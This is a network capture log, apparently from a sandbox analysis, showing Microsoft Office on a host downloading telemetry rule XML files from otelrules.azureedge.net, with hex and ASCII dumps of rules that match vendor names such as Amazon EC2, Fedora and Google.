2024-10-07 01:23:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 678daa67-201e-00aa-3f60-173928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48tqvfc1ysmtbdrg000000002q0000000008e9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5e879109-c01e-00a2-3e73-172327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48762wn1qw4s5sd3000000002k000000000sqdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48q6t9vvmrkd293mg00000002t0000000009z0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012304Z-1657d5bbd48qjg85buwfdynm5w00000002yg000000004m9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012305Z-1657d5bbd48qjg85buwfdynm5w00000002y0000000005wkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012305Z-1657d5bbd48cpbzgkvtewk0wu000000002x0000000008s1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012305Z-1657d5bbd48sqtlf1huhzuwq7000000002m0000000003vx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012305Z-1657d5bbd48xdq5dkwwugdpzr0000000030g00000000qn27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012305Z-1657d5bbd48p2j6x2quer0q028000000030000000000am59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012306Z-1657d5bbd482lxwq1dp2t1zwkc00000002k000000000bcf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012306Z-1657d5bbd48jwrqbupe3ktsx9w00000002wg00000000ukma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
